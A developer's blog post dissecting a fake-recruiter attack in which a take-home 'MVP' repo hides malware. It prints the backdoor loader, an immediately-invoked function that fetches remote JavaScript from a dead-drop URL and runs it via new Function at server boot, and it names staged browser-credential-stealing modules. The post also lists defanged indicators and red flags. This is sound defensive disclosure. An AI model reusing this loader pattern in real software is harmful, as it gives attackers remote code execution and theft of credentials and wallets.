A full breakdown of a fake-recruiter attack that targeted me this week — the social engineering, the booby-trapped “MVP” repo, and the exact code that would have run on my machine. Sharing so the next engineer spots it faster than I almost did.
Table of contents
Open Table of contents
The pitch
A “founder” messaged me on LinkedIn — polished profile, praised my background, pitched a fully-remote Web3 / DeFi role at 180–200K USD. The company: a DeFi sports-prediction platform on PulseChain called PSPN.
It looked legitimate. A real job description, a real comp band, a real hiring process.
Then came the “take-home assessment”: review their MVP repo, answer a few questions — UI intuitiveness, architecture weak spots, “what payment method does the project use?” — and share my GitHub username so they could invite me to the private repo.
Standard hiring flow, right? Except every question was designed so that the only way to answer it is to actually run the project.
So before running anything, I read the code. Good thing I did.
The code analysis
1. A “React frontend” that ships credential-stealing tooling
package.json is named pspn-frontend, yet it depends on native, server-only modules
that have no business in a React app:
"@primno/dpapi": "^2.0.1", // Windows API that decrypts saved browser passwords & cookies
"node-machine-id": "^1.1.12", // unique machine fingerprinting
"better-sqlite3": "^12.8.0", // read browser credential SQLite databases
None of these are imported anywhere in the source. They are staged — sitting there for something else to load at runtime.
2. An obfuscated config pointing at a remote “dead drop”
server/config/.config.env holds three base64 strings. Decoded:
DEV_API_KEY -> https://jsonkeeper.com/b/OTE91 (a pastebin-style URL)
DEV_SECRET_KEY -> x-secret-key (an HTTP header name)
DEV_SECRET_VALUE -> _ (the header value)
3. The backdoor: remote code execution at server boot
server/controllers/userController.js:
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
const src = atob(process.env.DEV_API_KEY); // the jsonkeeper URL
const k = atob(process.env.DEV_SECRET_KEY); // "x-secret-key"
const v = atob(process.env.DEV_SECRET_VALUE); // "_"
const s = (await axios.get(src, { headers: { [k]: v } })).data.sessions;
const handler = new (Function.constructor)('require', s); // === new Function('require', s)
handler(require);
})(); // <-- note the (): this runs on import, NOT on an HTTP request
That last line is the whole trick. It is an immediately-invoked function — it fires the
moment the file is imported. It fetches a string of JavaScript from the remote URL and
executes it via new Function(...)(require): arbitrary remote code, on your machine, with
full Node.js privileges (filesystem, network, child processes).
And the import chain is unavoidable:
npm start -> node server/server.js -> app.js -> routes/userRoute.js -> userController.js -> 💥
You don’t have to click anything or hit an endpoint. Booting the server runs the
attacker’s code — and npm start is exactly what the take-home questions pushed you to do.
4. The payload is staged
Right now that URL returns harmless-looking JSON disguised as a normal npm package’s metadata — so a quick glance looks clean and there is nothing to “catch” in a sandbox. The operator can swap in the real payload whenever they choose. The credential-stealing modules from step 1 are what it would pull in.
5. The git history is fabricated
222 commits — all timestamped at exactly 12:00:00 with alternating timezones (humans
don’t commit at noon sharp every single day), authored under the name and email of a
well-known Uniswap engineer. Spoofing a respected dev’s identity (git author fields are
trivially forgeable) makes a freshly-built trap look like months of legitimate teamwork.
The malicious loader was even back-dated into the middle of that fake history, while the
“arming” config (.config.env) was slipped in last, under an innocent Update README.md
commit. Loader and trigger, deliberately separated to defeat a “what changed recently?”
review.
The on-chain dApp itself is real and works — a genuine PulseChain token / betting / swap front-end. That is the camouflage. The entire attack lives in the backend, has nothing to do with Web3, and exists purely to steal browser credentials and crypto wallets.
This is a known campaign
This isn’t a one-off. It matches a long-running operation that security researchers track as “Contagious Interview” (aka DeceptiveDevelopment / Famous Chollima), which targets crypto and software engineers through fake recruiters and malware-laced coding assignments.
Red flags — so you can spot the next one
- Cold LinkedIn recruiter, big comp, fully remote, Web3 / DeFi.
- A “take-home” that requires you to clone and run their repo.
- “Share your git username and I’ll invite you to the private MVP.”
- A “frontend” package that depends on OS-credential, SQLite, or machine-ID native modules.
- Base64’d config, or code fetched and executed at runtime (
eval/new Function). - A git history that’s too clean — uniform timestamps, author identities that don’t add up.
Indicators of compromise (IOCs)
Repo (private, invite-only): github.com/PSPN2027/PSPN_MVP
Dead-drop URL: hxxps://jsonkeeper[.]com/b/OTE91 (header: x-secret-key: _)
Execution sink: new Function('require', remoteString)(require)
Staged native modules: @primno/dpapi, node-machine-id, better-sqlite3
Cover identity / domain: "ParaLead" / paralead[.]net (committer: pspn.team@paralead[.]net)
Cover project: PSPN / "PulseMafia" — PulseChain (chainId 369)
The one habit that saved me
It wasn’t expertise. It was a rule: never run an unknown take-home on your real machine. Read it first. If you must run it, use a throwaway VM with no wallets and no logins.
If a stranger’s job offer ends with “just run this and tell me what you think” — that’s not an interview. That’s the delivery mechanism.
Read before you run. Stay safe out there.
All indicators above are defanged. No malware is hosted in this site’s repository.